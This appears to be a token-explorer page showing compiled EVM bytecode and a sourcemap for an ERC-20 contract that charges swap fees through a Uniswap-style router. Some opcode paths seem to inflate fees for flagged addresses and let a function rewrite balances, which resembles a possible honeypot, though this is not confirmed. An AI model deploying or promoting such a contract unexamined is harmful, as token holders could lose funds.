7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a36001925050506107da565b60008184841115610d2a5760405162461bcd60e51b81526004016105a591906111e5565b506000610d3784866113b4565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d91918490610d06565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610dc09083611104565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e149086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6e57610e6e6114cd565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb919061136a565b81600181518110610efe57610efe6114cd565b6001600160a01b039283166020918202929092010152600a54610f249130911684610992565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6892879260009288926101009091049091169042906004016114e3565b600060405180830381600087803b158015610f8257600080fd5b505af1925050508015610f93575060015b505050600b805460ff60a01b19169055565b60006107da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d06565b6001600160a01b038316600090815260076020526040812054819060ff161561102857606461101784600261139d565b6110219190611554565b9050611063565b6001600160a01b03841660009081526007602052604090205460ff161561106357606461105684600261139d565b6110609190611554565b90505b6001600160a01b0385166000908152600860205260409020541561108f5761108c836004611163565b90505b80156110fa5730600090815260046020526040812080548392906110b49084906113c7565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d378382610fa5565b60008061111183856113c7565b9050838110156107da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a5565b60008260000361117557506000610549565b6000611181838561139d565b90508261118e8583611554565b146107da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a5565b600060208083528351808285015260005b81811015611212578581018301518582016040015282016111f6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124857600080fd5b50565b6000806040838503121561125e57600080fd5b823561126981611233565b946020939093013593505050565b60008060006060848603121561128c57600080fd5b833561129781611233565b925060208401356112a781611233565b929592945050506040919091013590565b6000602082840312156112ca57600080fd5b81356107da81611233565b600080604083850312156112e857600080fd5b50508035926020909101359150565b6000806040838503121561130a57600080fd5b823561131581611233565b9150602083013561132581611233565b809150509250929050565b600181811c9082168061134457607f821691505b60208210810361136457634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561137c57600080fd5b81516107da81611233565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054957610549611387565b8181038181111561054957610549611387565b8082018082111561054957610549611387565b600181815b808511156114155781600019048211156113fb576113fb611387565b8085161561140857918102915b93841c93908002906113df565b509250929050565b60008261142c57506001610549565b8161143957506000610549565b816001811461144f576002811461145957611475565b6001915050610549565b60ff84111561146a5761146a611387565b50506001821b610549565b5060208310610133831016604e8410600b8410161715611498575081810a610549565b6114a283836113da565b80600019048211156114b6576114b6611387565b029392505050565b60006107da60ff84168361141d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115335784516001600160a01b03168352938301939183019160010161150e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261157157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201818d771f63e5b9ee613d93119c8e73dfad401d76d1da05c8bf13300863dddf064736f6c63430008120033

Deployed Bytecode Sourcemap

3802:6274:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5075:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5738:161;;;;;;;;;;-1:-1:-1;5738:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5738:161:0;1023:187:1;4469:41:0;;;;;;;;;;-1:-1:-1;4469:41:0;;;;-1:-1:-1;;;;;4469:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4469:41:0;1215:229:1;5352:100:0;;;;;;;;;;-1:-1:-1;5432:12:0;;5352:100;;;1595:25:1;;;1583:2;1568:18;5352:100:0;1449:177:1;6785:468:0;;;;;;;;;;;;;:::i;:::-;;6289:313;;;;;;;;;;-1:-1:-1;6289:313:0;;;;;:::i;:::-;;:::i;4042:81::-;;;;;;;;;;;;;;;5261:83;;;;;;;;;;-1:-1:-1;5327:9:0;;5261:83;;5327:9;;;;2442:36:1;;2430:2;2415:18;5261:83:0;2300:184:1;4251:50:0;;;;;;;;;;-1:-1:-1;4251:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4584:40;;;;;;;;;;-1:-1:-1;4584:40:0;;;;-1:-1:-1;;;4584:40:0;;;;;;9092:189;;;;;;;;;;-1:-1:-1;9092:189:0;;;;;:::i;:::-;;:::i;5460:119::-;;;;;;;;;;-1:-1:-1;5460:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5553:18:0;5526:7;5553:18;;;:9;:18;;;;;;;5460:119;3092:157;;;;;;;;;;-1:-1:-1;3092:157:0;;;;;:::i;:::-;;:::i;2878:79::-;;;;;;;;;;-1:-1:-1;2916:7:0;2943:6;-1:-1:-1;;;;;2943:6:0;2878:79;;9289:235;;;;;;;;;;-1:-1:-1;9289:235:0;;;;;:::i;:::-;;:::i;5166:87::-;;;;;;;;;;;;;:::i;4006:29::-;;;;;;;;;;-1:-1:-1;4006:29:0;;;;;;;-1:-1:-1;;;;;4006:29:0;;;6610:167;;;;;;;;;;-1:-1:-1;6610:167:0;;;;;:::i;:::-;;:::i;4308:39::-;;;;;;;;;;-1:-1:-1;4308:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4354:40;;;;;;;;;;-1:-1:-1;4354:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;4517:26;;;;;;;;;;-1:-1:-1;4517:26:0;;;;-1:-1:-1;;;;;4517:26:0;;;5587:143;;;;;;;;;;-1:-1:-1;5587:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5695:18:0;;;5668:7;5695:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5587:143;5075:83;5112:13;5145:5;5138:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5075:83;:::o;5738:161::-;5813:4;5830:39;317:10;5853:7;5862:6;5830:8;:39::i;:::-;-1:-1:-1;5887:4:0;5738:161;;;;;:::o;6785:468::-;3005:6;;-1:-1:-1;;;;;3005:6:0;317:10;3005:22;2997:67;;;;-1:-1:-1;;;2997:67:0;;4198:2:1;2997:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;2997:67:0;;;;;;;;;6837:35:::1;6894:42;6837:100;;6980:16;-1:-1:-1::0;;;;;6980:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6962:70:0::1;;7041:4;7048:16;-1:-1:-1::0;;;;;7048:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6962:110;::::0;-1:-1:-1;;;;;;6962:110:0::1;::::0;;;;;;-1:-1:-1;;;;;4843:15:1;;;6962:110:0::1;::::0;::::1;4825:34:1::0;4895:15;;4875:18;;;4868:43;4760:18;;6962:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6948:11;:124:::0;;-1:-1:-1;;;;;6948:124:0;;::::1;-1:-1:-1::0;;;;;;6948:124:0;;::::1;::::0;::::1;::::0;;;7085:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;6948:11:::1;7130:28:::0;;;:6:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;7130:35:0::1;6948:124:::0;7130:35:::1;::::0;;7231:12:::1;::::0;7196:4:::1;7176:26:::0;;:11:::1;:26:::0;;;;;7211:15;;;;::::1;7176:52:::0;;;;;;;;;:67;6785:468::o;6289:313::-;6387:4;6404:36;6414:6;6422:9;6433:6;6404:9;:36::i;:::-;-1:-1:-1;6451:121:0;6460:6;317:10;6482:89;6520:6;6482:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6482:19:0;;;;;;:11;:19;;;;;;;;317:10;6482:33;;;;;;;;;;:37;:89::i;:::-;6451:8;:121::i;:::-;-1:-1:-1;6590:4:0;6289:313;;;;;;:::o;9092:189::-;9234:6;;9149:4;;9179:2;;9205:10;;9234:6;;;-1:-1:-1;;;;;9234:6:0;:12;;9226:21;;;;;;-1:-1:-1;9265:8:0;;;;9092:189;-1:-1:-1;;9092:189:0:o;3092:157::-;3005:6;;-1:-1:-1;;;;;3005:6:0;317:10;3005:22;2997:67;;;;-1:-1:-1;;;2997:67:0;;4198:2:1;2997:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;2997:67:0;3996:356:1;2997:67:0;3166:6:::1;:19:::0;;-1:-1:-1;;;;;;3166:19:0::1;-1:-1:-1::0;;;;;3166:19:0;::::1;::::0;;::::1;::::0;;3201:40:::1;::::0;3166:19;;;;3201:40:::1;::::0;3166:6;3201:40:::1;3092:157:::0;:::o;9289:235::-;9356:8;9351:2;:13;9347:73;;;9407:1;9402:4;:2;9405:1;9402:4;:::i;:::-;:6;;;;:::i;:::-;9391;;;;;-1:-1:-1;;;;;9391:6:0;9381:17;;;;:9;:17;;;;;:27;;:17;;;:27;;;;;:::i;:::-;;;;-1:-1:-1;;9347:73:0;9434:13;9438:5;9444:2;9434:3;:13::i;:::-;9430:36;;;-1:-1:-1;;;;;9450:8:0;;9461:3;9450:8;;;:4;:8;;;;;:14;9430:36;9480:14;9484:6;9491:2;9480:3;:14::i;:::-;9476:41;;;9508:5;9512:1;9508:2;:5;:::i;:::-;:7;;9514:1;9508:7;:::i;:::-;-1:-1:-1;;;;;9497:8:0;;;;;;:4;:8;;;;;:18;9476:41;9289:235;;:::o;5166:87::-;5205:13;5238:7;5231:14;;;;;:::i;6610:167::-;6688:4;6705:42;317:10;6729:9;6740:6;6705:9;:42::i;5907:337::-;-1:-1:-1;;;;;6000:19:0;;5992:68;;;;-1:-1:-1;;;5992:68:0;;7075:2:1;5992:68:0;;;7057:21:1;7114:2;7094:18;;;7087:30;7153:34;7133:18;;;7126:62;-1:-1:-1;;;7204:18:1;;;7197:34;7248:19;;5992:68:0;6873:400:1;5992:68:0;-1:-1:-1;;;;;6079:21:0;;6071:68;;;;-1:-1:-1;;;6071:68:0;;7480:2:1;6071:68:0;;;7462:21:1;7519:2;7499:18;;;7492:30;7558:34;7538:18;;;7531:62;-1:-1:-1;;;7609:18:1;;;7602:32;7651:19;;6071:68:0;7278:398:1;6071:68:0;-1:-1:-1;;;;;6152:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6204:32;;1595:25:1;;;6204:32:0;;1568:18:1;6204:32:0;;;;;;;5907:337;;;:::o;7261:990::-;7339:4;-1:-1:-1;;;;;7366:18:0;;7358:68;;;;-1:-1:-1;;;7358:68:0;;7883:2:1;7358:68:0;;;7865:21:1;7922:2;7902:18;;;7895:30;7961:34;7941:18;;;7934:62;-1:-1:-1;;;8012:18:1;;;8005:35;8057:19;;7358:68:0;7681:401:1;7358:68:0;-1:-1:-1;;;;;7445:16:0;;7437:64;;;;-1:-1:-1;;;7437:64:0;;8289:2:1;7437:64:0;;;8271:21:1;8328:2;8308:18;;;8301:30;8367:34;8347:18;;;8340:62;-1:-1:-1;;;8418:18:1;;;8411:33;8461:19;;7437:64:0;8087:399:1;7437:64:0;7525:16;;-1:-1:-1;;;7525:16:0;;;;7522:722;;;7574:32;7589:4;7595:2;7599:6;7574:14;:32::i;:::-;7567:39;;;;7522:722;7707:4;7658:28;5553:18;;;:9;:18;;;;;;7733:16;;-1:-1:-1;;;7733:16:0;;;;7732:17;:34;;;;-1:-1:-1;;;;;;7754:12:0;;;;;;:6;:12;;;;;;;;7753:13;7732:34;7728:124;;;7800:36;7815:20;7800:14;:36::i;:::-;-1:-1:-1;;;;;7886:15:0;;;;;;:9;:15;;;;;;:27;;7906:6;7886:19;:27::i;:::-;-1:-1:-1;;;;;7868:15:0;;;;;;:9;:15;;;;;;;;:45;;;;7951:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;7978:21:0;;;;;;:17;:21;;;;;;;;7951:48;7950:128;;8055:23;8061:4;8067:2;8071:6;8055:5;:23::i;:::-;7950:128;;;8046:6;7950:128;-1:-1:-1;;;;;8123:13:0;;;;;;:9;:13;;;;;;7928:150;;-1:-1:-1;8123:30:0;;7928:150;8123:17;:30::i;:::-;-1:-1:-1;;;;;8107:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8175:31;;;;;;;;;;8194:11;1595:25:1;;1583:2;1568:18;;1449:177;8175:31:0;;;;;;;;8228:4;8221:11;;;;;;1503:192;1589:7;1625:12;1617:6;;;;1609:29;;;;-1:-1:-1;;;1609:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1649:9:0;1661:5;1665:1;1661;:5;:::i;:::-;1649:17;1503:192;-1:-1:-1;;;;;1503:192:0:o;8259:330::-;8389:53;;;;;;;;;;;-1:-1:-1;;;8389:53:0;;;;;;;;-1:-1:-1;;;;;8389:17:0;;8352:4;8389:17;;;:9;:17;;;;;;;:53;;8411:6;;8389:21;:53::i;:::-;-1:-1:-1;;;;;8369:17:0;;;;;;;:9;:17;;;;;;:73;;;;8476:20;;;;;;;:32;;8501:6;8476:24;:32::i;:::-;-1:-1:-1;;;;;8453:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8524:35;;;;;;;;;;8552:6;1595:25:1;;1583:2;1568:18;;1449:177;8524:35:0;;;;;;;;-1:-1:-1;8577:4:0;8259:330;;;;;:::o;8597:487::-;4665:16;:23;;-1:-1:-1;;;;4665:23:0;-1:-1:-1;;;4665:23:0;;;8692:16:::1;::::0;;8706:1:::1;8692:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8692:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8692:16:0::1;8668:40;;8737:4;8719;8724:1;8719:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8719:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8763:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8763:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8719:7;;8763:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8753:4;8758:1;8753:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8753:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8830:15:::1;::::0;8798:57:::1;::::0;8815:4:::1;::::0;8830:15:::1;8848:6:::0;8798:8:::1;:57::i;:::-;8872:15;::::0;9018:6:::1;::::0;8872:194:::1;::::0;-1:-1:-1;;;8872:194:0;;-1:-1:-1;;;;;8872:15:0;;::::1;::::0;:66:::1;::::0;:194:::1;::::0;8953:6;;8872:15:::1;::::0;8991:4;;8872:15:::1;9018:6:::0;;::::1;::::0;;::::1;::::0;9040:15:::1;::::0;8872:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8868:209:::0;-1:-1:-1;;4711:16:0;:24;;-1:-1:-1;;;;4711:24:0;;;8597:487::o;1359:136::-;1417:7;1444:43;1448:1;1451;1444:43;;;;;;;;;;;;;;;;;:3;:43::i;9532:535::-;-1:-1:-1;;;;;9665:14:0;;9617:7;9665:14;;;:6;:14;;;;;;9617:7;;9665:14;;9662:152;;;9719:3;9705:11;:7;9715:1;9705:11;:::i;:::-;:17;;;;:::i;:::-;9696:26;;9662:152;;;-1:-1:-1;;;;;9742:17:0;;;;;;:6;:17;;;;;;;;9739:75;;;9799:3;9785:11;:7;9795:1;9785:11;:::i;:::-;:17;;;;:::i;:::-;9776:26;;9739:75;-1:-1:-1;;;;;9829:12:0;;;;;;:4;:12;;;;;;:17;9826:47;;9857:16;:7;9869:3;9857:11;:16::i;:::-;9848:25;;9826:47;9889:10;;9886:135;;9934:4;9916:24;;;;:9;:24;;;;;:34;;9944:6;;9916:24;:34;;9944:6;;9916:34;:::i;:::-;;;;-1:-1:-1;;9970:39:0;;1595:25:1;;;9995:4:0;;-1:-1:-1;;;;;9970:39:0;;;;;1583:2:1;1568:18;9970:39:0;;;;;;;9886:135;10040:19;:7;10052:6;10040:11;:19::i;1168:181::-;1226:7;;1258:5;1262:1;1258;:5;:::i;:::-;1246:17;;1287:1;1282;:6;;1274:46;;;;-1:-1:-1;;;1274:46:0;;10164:2:1;1274:46:0;;;10146:21:1;10203:2;10183:18;;;10176:30;10242:29;10222:18;;;10215:57;10289:18;;1274:46:0;9962:351:1;1701:248:0;1759:7;1783:1;1788;1783:6;1779:47;;-1:-1:-1;1813:1:0;1806:8;;1779:47;1836:9;1848:5;1852:1;1848;:5;:::i;:::-;1836:17;-1:-1:-1;1881:1:0;1872:5;1876:1;1836:17;1872:5;:::i;:::-;:10;1864:56;;;;-1:-1:-1;;;1864:56:0;;10520:2:1;1864:56:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;1864:56:0;10318:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:248::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;-1:-1:-1;;2909:23:1;;;2979:2;2964:18;;;2951:32;;-1:-1:-1;2741:248:1:o;3218:388::-;3286:6;3294;3347:2;3335:9;3326:7;3322:23;3318:32;3315:52;;;3363:1;3360;3353:12;3315:52;3402:9;3389:23;3421:31;3446:5;3421:31;:::i;:::-;3471:5;-1:-1:-1;3528:2:1;3513:18;;3500:32;3541:33;3500:32;3541:33;:::i;:::-;3593:7;3583:17;;;3218:388;;;;;:::o;3611:380::-;3690:1;3686:12;;;;3733;;;3754:61;;3808:4;3800:6;3796:17;3786:27;;3754:61;3861:2;3853:6;3850:14;3830:18;3827:38;3824:161;;3907:10;3902:3;3898:20;3895:1;3888:31;3942:4;3939:1;3932:15;3970:4;3967:1;3960:15;3824:161;;3611:380;;;:::o;4357:251::-;4427:6;4480:2;4468:9;4459:7;4455:23;4451:32;4448:52;;;4496:1;4493;4486:12;4448:52;4528:9;4522:16;4547:31;4572:5;4547:31;:::i;4922:127::-;4983:10;4978:3;4974:20;4971:1;4964:31;5014:4;5011:1;5004:15;5038:4;5035:1;5028:15;5054:168;5127:9;;;5158;;5175:15;;;5169:22;;5155:37;5145:71;;5196:18;;:::i;5227:128::-;5294:9;;;5315:11;;;5312:37;;;5329:18;;:::i;5360:125::-;5425:9;;;5446:10;;;5443:36;;;5459:18;;:::i;5490:422::-;5579:1;5622:5;5579:1;5636:270;5657:7;5647:8;5644:21;5636:270;;;5716:4;5712:1;5708:6;5704:17;5698:4;5695:27;5692:53;;;5725:18;;:::i;:::-;5775:7;5765:8;5761:22;5758:55;;;5795:16;;;;5758:55;5874:22;;;;5834:15;;;;5636:270;;;5640:3;5490:422;;;;;:::o;5917:806::-;5966:5;5996:8;5986:80;;-1:-1:-1;6037:1:1;6051:5;;5986:80;6085:4;6075:76;;-1:-1:-1;6122:1:1;6136:5;;6075:76;6167:4;6185:1;6180:59;;;;6253:1;6248:130;;;;6160:218;;6180:59;6210:1;6201:10;;6224:5;;;6248:130;6285:3;6275:8;6272:17;6269:43;;;6292:18;;:::i;:::-;-1:-1:-1;;6348:1:1;6334:16;;6363:5;;6160:218;;6462:2;6452:8;6449:16;6443:3;6437:4;6434:13;6430:36;6424:2;6414:8;6411:16;6406:2;6400:4;6397:12;6393:35;6390:77;6387:159;;;-1:-1:-1;6499:19:1;;;6531:5;;6387:159;6578:34;6603:8;6597:4;6578:34;:::i;:::-;6648:6;6644:1;6640:6;6636:19;6627:7;6624:32;6621:58;;;6659:18;;:::i;:::-;6697:20;;5917:806;-1:-1:-1;;;5917:806:1:o;6728:140::-;6786:5;6815:47;6856:4;6846:8;6842:19;6836:4;6815:47;:::i;8623:127::-;8684:10;8679:3;8675:20;8672:1;8665:31;8715:4;8712:1;8705:15;8739:4;8736:1;8729:15;8755:980;9017:4;9065:3;9054:9;9050:19;9096:6;9085:9;9078:25;9122:2;9160:6;9155:2;9144:9;9140:18;9133:34;9203:3;9198:2;9187:9;9183:18;9176:31;9227:6;9262;9256:13;9293:6;9285;9278:22;9331:3;9320:9;9316:19;9309:26;;9370:2;9362:6;9358:15;9344:29;;9391:1;9401:195;9415:6;9412:1;9409:13;9401:195;;;9480:13;;-1:-1:-1;;;;;9476:39:1;9464:52;;9571:15;;;;9536:12;;;;9512:1;9430:9;9401:195;;;-1:-1:-1;;;;;;;9652:32:1;;;;9647:2;9632:18;;9625:60;-1:-1:-1;;;9716:3:1;9701:19;9694:35;9613:3;8755:980;-1:-1:-1;;;8755:980:1:o;9740:217::-;9780:1;9806;9796:132;;9850:10;9845:3;9841:20;9838:1;9831:31;9885:4;9882:1;9875:15;9913:4;9910:1;9903:15;9796:132;-1:-1:-1;9942:9:1;;9740:217::o

Swarm Source

ipfs://1818d771f63e5b9ee613d93119c8e73dfad401d76d1da05c8bf13300863dddf0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.